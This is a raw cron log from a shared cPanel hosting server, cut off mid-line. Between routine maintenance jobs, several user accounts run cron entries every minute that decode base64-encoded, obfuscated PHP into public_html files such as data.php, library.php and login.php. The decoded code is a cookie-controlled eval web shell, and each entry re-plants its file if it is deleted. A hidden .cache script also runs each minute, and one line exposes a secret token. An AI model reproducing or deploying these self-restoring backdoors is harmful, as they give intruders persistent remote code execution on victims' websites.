Mar  2 07:35:02 medusa CROND[12932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:35:02 medusa CROND[12933]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:35:02 medusa CROND[12940]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:35:02 medusa CROND[12941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:35:02 medusa CROND[12944]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:35:02 medusa CROND[12945]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:35:02 medusa CROND[12938]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:35:02 medusa CROND[12946]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:35:02 medusa CROND[12948]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:35:02 medusa CROND[12950]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 07:35:02 medusa CROND[12953]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:35:02 medusa CROND[12966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:35:02 medusa CROND[12967]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:35:02 medusa CROND[12969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:35:02 medusa CROND[12975]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:35:02 medusa CROND[12978]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:35:02 medusa CROND[12981]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:35:02 medusa CROND[12982]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:35:02 medusa CROND[12984]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:35:02 medusa CROND[12983]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 07:35:02 medusa CROND[12993]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:35:02 medusa CROND[12999]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 07:35:02 medusa CROND[12996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:36:01 medusa CROND[31858]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:36:01 medusa CROND[31973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:36:01 medusa CROND[32082]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:36:01 medusa CROND[32085]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:36:01 medusa CROND[32086]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:36:01 medusa CROND[32087]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:36:01 medusa CROND[32089]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:36:01 medusa CROND[32094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:36:01 medusa CROND[32095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:36:01 medusa CROND[32097]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:36:01 medusa CROND[32098]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:36:01 medusa CROND[32099]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:36:01 medusa CROND[32100]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:36:01 medusa CROND[32108]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:37:01 medusa CROND[22098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:37:01 medusa CROND[22219]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:37:01 medusa CROND[22243]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:37:01 medusa CROND[22245]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:37:01 medusa CROND[22246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbn